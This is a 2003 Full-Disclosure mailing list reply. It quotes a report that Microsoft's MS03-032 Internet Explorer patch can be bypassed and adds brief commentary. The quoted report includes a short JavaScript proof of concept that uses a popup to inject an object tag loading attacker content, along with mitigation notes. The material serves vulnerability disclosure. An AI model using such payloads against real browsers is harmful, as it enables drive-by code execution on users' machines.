RE: [Full-Disclosure] BAD NEWS: Microsoft Security Bulletin MS03-032

["Nick Jacobsen" <nick@xxxxxxxxxxxxxxxx>]

nice find, very nice...  wonder how many more times microsoft will mess
up?
Though, I do sort of wonder exactly what they thought they were
patching, since this still works.

        Since the cat somehow got out of the bag, and more importantly,
this
        is so blatantly obvious, herewith is the "Bad News":
        
        The patch for Drew's object data=funky.hta doesn't work:
        
        http://www.malware.com/badnews.html
        
        <script>
          var oPopup = window.createPopup();
        
          function showPopup() {
            oPopup.document.body.innerHTML = "<object data=ouch.php>";
            oPopup.show(0,0,1,1,document.body);
          }
         
          showPopup()
        </script>
        
        Notes:
        
        1. Disable Active Scripting
        2. In case that does not work, uninstall Internet Explorer
        3. http://www.eeye.com/html/Research/Advisories/AD20030820.html
        4. This was sent to the manufacturer quite some time prior to
this
           going out. Surprisingly no immediate acknowledgement
        5. This is so blatantly obvious, in particular because it is
           the coupling of two known issues[one current + one from
2002]:
        
           http://www.securityfocus.com/bid/3867/
        
        It is beyond comprehension why this was not checked from the
outset as it is a known issue plus file://::{CLSID}in the control
        panel in the object tag still functions to date.
        6. At this stage one must really question the compentency of
this
        particular operation. This is a pathetic oversight.
